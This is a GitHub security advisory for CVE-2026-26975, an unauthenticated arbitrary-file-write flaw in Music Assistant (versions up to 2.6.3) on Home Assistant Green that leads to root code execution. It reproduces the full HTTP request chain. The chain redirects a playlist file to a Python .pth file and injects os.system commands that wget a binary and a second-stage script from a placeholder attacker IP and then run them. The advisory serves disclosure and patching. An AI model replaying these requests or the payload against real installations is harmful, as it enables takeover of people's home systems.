Skip to content

ZDI-CAN-28235: Home Assistant Green Music Assistant External Control of File Path Remote Code Execution Vulnerability

High
MarvinSchenkel published GHSA-7jcc-p6xr-835j Feb 17, 2026

Package

Music Assistant

Affected versions

<=2.6.3

Patched versions

2.7.0

Description

Summary

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Music Assistant. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the Music Assistant service. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of root.

Details

2.1 Music Assistant Remote Code Execution

2.1.1 Unprotected Service Exposure

The Music Assistant web interface exposed on port 8095 is publicly accessible to the network and can be accessed
anonymously even when installed as add-on for the Home Assistant Green device.

This web interface is vulnerable to the arbitrary file write vulnerability when the local file system provider is used.

2.1.2 Arbitrary File Write

The playlist functionality in the local file system provider is implemented as a file with the .m3u extension that is stored inside
the filesystem. Generally, when a new playlist is created, the code appends the .m3u extension to the playlist name provided
by the user.

However, the music/playlists/update API command allows users to update the playlist details allowing users to modify the file path where the playlist will be stored without enforcing the .m3u extension. Additionally, because the music assistant application inside the docker container is running as root, the file can be written on the entire filesystem.

To gain remote code execution, a .pth file is stored in the /app/venv/lib/python3.13/site-packages folder. The following section shows all HTTP requests required to create the .pth file inside the /app/venv/lib/python3.13/site-packages folder and write arbitrary commands that will be later executed.

The following HTTP request is used to create a new local file system provider using the root directory as the base path in order to have access to the entire file system:

"POST /api HTTP/1.1"	
"Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Content-Length: 241
Content-Type: application/json
{""command"":""config/providers/save"",""message_id"":15,""args"":{""provider_domain"":""filesystem_loc al"",""values"":{""content_type"":""music"",""path"":""/"",""missing_album_artist_action"":""various_artists"",""ignore_album_playlists"":true,""log_level"":""GLOBAL""}}}"

HTTP Response returning the local file system instance identifier:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 3072
Date: Mon, 01 Sep 2025 18:28:25 GMT
Server: Python/3.13 aiohttp/3.11.18
[CUT BY COMPASS],"action_label":null,"value":"GLOBAL"}},"type":"music","domain":"filesystem_local","instance_id":"filesystem_local--
N3mo8W6h","enabled":true,"name":null,"last_error":null}

The following HTTP request is used to create a new playlist named test123 using the newly created file system provider:

POST /api HTTP/1.1
Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 146
Content-Type: application/json
{"command":"music/playlists/create_playlist","message_id":21,"args":{"name":"test123","provider_instance_or_domain":"filesystem_local--N3mo8W6h"}}

The HTTP response returns the identifier of the newly created playlist. The provider_mappings object shows that the local
file being used for storing the playlist information is test123.m3u:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 959
Date: Mon, 01 Sep 2025 18:30:43 GMT
Server: Python/3.13 aiohttp/3.11.18
{"item_id":"16","provider":"library","name":"test123","version":"","sort_name":"test123","uri":"library://playlist/17","external_ids":[],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"test123.m3u","provider_domain":"filesystem_local","provider_instance":"filesystem_local--
N3mo8W6h","available":true,"[CUT BY COMPASS]

The following HTTP request is used to update the playlist details, changing the file used to store the playlist information. The
new file is a csnc.pth file inside the site-packages directory of the python environment:

POST /api HTTP/1.1
Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 1125
Content-Type: application/json
{"command":"music/playlists/update","message_id":99,"args":{ "item_id":"16",[CUT BY COMPASS]release_date":null,"languages":"csnc","chapters":null,"last_refresh":null},"provider_mappings":[{"item_id":"/app/venv/lib/python3.13/sitepackages/csnc.pth","provider_[CUT BY COMPASS]

The HTTP response shows that the update was completed successfully:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1004
Date: Mon, 01 Sep 2025 18:13:38 GMT
Server: Python/3.13 aiohttp/3.11.18
{"item_id":"16","provider":"library","name":"csnc","version":"","sort_name":"csnc","uri":"library://playlist/16","external_ids":[["unknown","s"]],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"/app/venv/lib/python3.13/sitepackages/csnc.pth","provider_domain":"builtin","provider_instance":"builtin","available":true,"[CUT BY COMPASS]

The following HTTP request is used to add a track to the updated playlist. The track includes the Python code to execute the
commands shown below:

POST /api HTTP/1.1
Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 179
Content-Type: application/json
{"command":"music/playlists/add_playlist_tracks","message_id":300,"args":{"db_playlist_id":"16","uris":["#csnc://track/\nimport os; os.system('mv /app/venv/lib/python3.13/sitepackages/csnc.pth /app/venv/lib/python3.13/site-packages/csnc.pth_old; " + f"wget
http://<ATTACKER_IP>:8000/tcpdump -O tcpdump; " + f"wget
http://<ATTACKER_IP>:5000/second_step.py -O second_step.py; " + f"chmod 777 tcpdump; python3
second_step.py <ATTACKER_IP> 5000 tcpdump')"]}}

The HTTP response shows that this completed successfully:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 4
Date: Mon, 01 Sep 2025 18:13:40 GMT
Server: Python/3.13 aiohttp/3.11.18


null

The commands written into the csnc.pth file are the following:

  • mv /app/venv/lib/python3.13/site-packages/csnc.pth /app/venv/lib/python3.13/sitepackages/ csnc.pth_old: replace the .pth extension with the .pth_old extension to prevent the csnc.pth codeto be executed twice

  • wget http://<ATTACKER_IP>:8000/tcpdump -O tcpdump: download the tcpdump binary from the attacker controlled
    laptop

  • wget http://<ATTACKER_IP>:5000/second_step.py -O second_step.py: download the Python script with the second stage of the exploit from the attacker-controlled laptop

  • chmod 777 tcpdump: set the execution bit on the tcpdump binary

  • python3 second_step.py <ATTACKER_IP> 5000 tcpdump: execute the Python script with the second stage of
    the exploit. The <ATTACKER_IP> and the 5000 input arguments are used for setting up remote logging.

2.1.3 Trigger Execution

The lines starting with import inside the csnc.pth file are executed at every Python startup. Starting a new Python
execution can be done by configuring a new YouTube Music provider. The following HTTP request is sent to configure it and
trigger the execution:

POST /api HTTP/1.1
Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 199
Content-Type: application/json
{"command":"config/providers/save","message_id":1105,"args":{"provider_domain":"nc -
","values":{"username":"test","cookie":"test","po_token_server_url":"http://127.0.0.1:4416",
"log_level":"GLOBAL"}}}

The HTTP response shows an error:

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain; charset=utf-8
Content-Length: 55
Date: Tue, 02 Sep 2025 14:22:56 GMT
Server: Python/3.13 aiohttp/3.11.18
Connection: close


500 Internal Server Error


Server got itself in trouble

However, at this point the commands shown before are already executed, allowing remote code execution.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-26975

Weaknesses

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Credits